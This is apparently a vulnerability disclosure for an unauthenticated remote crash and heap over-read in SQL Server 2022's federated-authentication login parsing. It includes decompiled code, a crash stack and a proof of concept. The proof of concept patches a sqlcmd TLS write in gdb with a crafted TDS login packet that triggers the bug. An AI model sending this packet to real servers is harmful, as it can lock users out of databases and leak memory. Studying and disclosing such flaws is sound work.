这个是一个sql server的未认证远程dos的bug解析.

Environment

SQL Server Version: sql server 2022.160.4035.4

Host System: windows 1809

Bug

in file sqllang.dll version 2022.160.4035.4, function CFedAuthFeatureExtension::ReadIDCRLToken:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
v4 = 0;
if ( !*a3 )
{
*(_DWORD *)a4 = 9;
return 0i64;
}
v8 = a2 + 4;
len1 = *(unsigned int *)a2;
v10 = *a3 - 4;
if ( *a3 == 4 )
{
*(_DWORD *)a4 = 10;
}
else
{
*((_DWORD *)this + 28) = v10 - (len1 + 0x40);
if ( v10 >= (int)len1 + 0x40 )
{
_mm_lfence();
v11 = 2i64 * (((unsigned int)len1 >> 1) + 1);
if ( !is_mul_ok(((unsigned int)len1 >> 1) + 1, 2ui64) )
v11 = -1i64;
v12 = operator new[](v11, *((struct IMemObj **)this + 2), 1, "sql\\ntdbms\\tds\\src\\featureext.cpp", 1585, 3u);
*((_QWORD *)this + 7) = v12;
if ( v12 )
{
_mm_lfence();
memcpy_s(*((void *const *)this + 7), len1, v8, len1);

*a3 means data length, a2 is a buffer controlled by user.

at line 9, if we let *a3==3, then v10 will be 0xffffffff. And at line 28, it will overflow read from a2.

Impact

Though process doesn’t crash(only thread crashed), it will cause extra problems, for example, if it crashed many times, no one can login into the server, even through local SSMS. And sql server configuration manager can’t restart service. Furthermore, it overflows reads data from heap, may leak important information with extra skills.

Crash Stack Trace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
(168c.27a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
sqllang!memcpy+0x180:
00007ffd`78f382fc c4a17e6f6c02e0 vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??
0:019> k
# Child-SP RetAddr Call Site
00 0000008f`407fe9e8 00007ffd`78f33493 sqllang!memcpy+0x180
01 0000008f`407fe9f0 00007ffd`79a99658 sqllang!memcpy_s+0x5e
02 0000008f`407fea20 00007ffd`79a99525 sqllang!CFedAuthFeatureExtension::ReadIDCRLToken+0xe6
03 0000008f`407fea80 00007ffd`78f955b9 sqllang!CFedAuthFeatureExtension::ParseFeatureData+0x245
04 0000008f`407fead0 00007ffd`78f93f6f sqllang!CPhysicalConnection::FParseFeatureExtension+0x29e
05 0000008f`407fec30 00007ffd`78f93c8e sqllang!CPhysicalConnection::FCreateLoginRec+0x6dd
06 0000008f`407feea0 00007ffd`78f93b0b sqllang!process_login+0x24e
07 0000008f`407fef40 00007ffd`78f46c30 sqllang!process_commands_internal+0x45b
08 0000008f`407ff080 00007ffd`7ef088db sqllang!process_messages+0x1e0
09 0000008f`407ff230 00007ffd`7ef09298 sqldk!SOS_Task::Param::Execute+0x232
0a 0000008f`407ff830 00007ffd`7ef08df4 sqldk!SOS_Scheduler::RunTask+0x182
0b 0000008f`407ff930 00007ffd`7ef28293 sqldk!SOS_Scheduler::ProcessTasks+0x344
0c 0000008f`407ffa80 00007ffd`7ef2833c sqldk!Worker::EntryPoint+0x2f9
0d 0000008f`407ffb60 00007ffd`7ef27f7f sqldk!ThreadScheduler::RunWorker+0xc
0e 0000008f`407ffb90 00007ffd`7ef27c65 sqldk!SystemThreadDispatcher::ProcessWorker+0x589
0f 0000008f`407ffc70 00007ffd`b8447e94 sqldk!SchedulerManager::ThreadEntryPoint+0x3cf
10 0000008f`407ffd80 00007ffd`babf7ad1 KERNEL32!BaseThreadInitThunk+0x14
11 0000008f`407ffdb0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:019> r
rax=000001c226000040 rbx=0000000000ccffff rcx=000001c226000040
rdx=000001c220329b5e rsi=000001c220329b5e rdi=0000000000ccffff
rip=00007ffd78f382fc rsp=0000008f407fe9e8 rbp=00000000ffffffff
r8=0000000000ccffff r9=000001c220ff9b5d r10=00007ffd78f30000
r11=0000008f407fe928 r12=0000000000000000 r13=000001c220329b5e
r14=0000000000ccffff r15=0000000000668000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
sqllang!memcpy+0x180:
00007ffd`78f382fc c4a17e6f6c02e0 vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??

POC

  1. install sqlcmd in Centos7

    1
    2
    $ sudo rpm -i msodbcsql17-17.2.0.1-1.x86_64.rpm
    $ sudo rpm -i mssql-tools-17.2.0.1-1.x86_64.rpm
  2. install gdb in Centos7

  3. create a new SQL Server 2022(I tested locally, I can give a Azure Sql Server test case if you need)

  4. connect SQL Server to Azure AD by (https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/azure-ad-authentication-sql-server-setup-tutorial?view=sql-server-ver16)

  5. install windbg in SQL Server machine

  6. the sql server should be like this, in this picture, target process is 57721686738413775

  7. use windbg attach 5772

  8. in Centos:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    $ gdb  --args /opt/mssql-tools/bin/sqlcmd   -S 192.168.150.141,50128 -G -C -U "aabb" -P "a"
    gdb$ b main
    gdb$ r
    gdb$ b send
    gdb$ c
    Breakpoint 2, 0x00007ffff6b30be0 in send () from /lib64/libpthread.so.0
    gdb$ b SSL_write
    gdb$ disa 1 2
    gdb$ c
    Breakpoint 3, 0x00007fffee1f5740 in SSL_write () from /lib64/libssl.so.10
    gdb$ set {char[241]}$rsi="\x10\x01\x00\xe5\x00\x00\x00\x00\xdd\x00\x00\x00\x04\x00\x00\x74\x00\x10\x00\x00\x00\x00\x00\x07\xbb\xaa\x00\x00\x00\x00\x00\x00\xe0\x03\x00\x10\xf0\x00\x00\x00\x09\x04\x00\x00\x5e\x00\x0a\x00\x72\x00\x00\x00\x72\x00\x00\x00\x72\x00\x0c\x00\x8a\x00\x0f\x00\xd0\x00\x04\x00\x8e\x00\x0e\x00\xaa\x00\x00\x00\xaa\x00\x06\x00\x00\xe0\x4c\x68\x0d\x9c\xb6\x00\x00\x00\xb6\x00\x00\x00\xb6\x00\x00\x00\x00\x00\x00\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x50\x00\x79\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x35\x00\x30\x00\x2e\x00\x31\x00\x34\x00\x31\x00\x50\x00\x79\x00\x20\x00\x54\x00\x44\x00\x53\x00\x20\x00\x6c\x00\x69\x00\x62\x00\x72\x00\x61\x00\x72\x00\x79\x00\x6d\x00\x61\x00\x73\x00\x74\x00\x65\x00\x72\x00\xd4\x00\x00\x00\x02\x04\x00\x00\x00\x00\xff\xff\xcc"
    gdb$ set $rdx=0xE5
    gdb$ set $r12=0xe5
    gdb$ c
  9. in SQL Server, windbg:

    1686738647013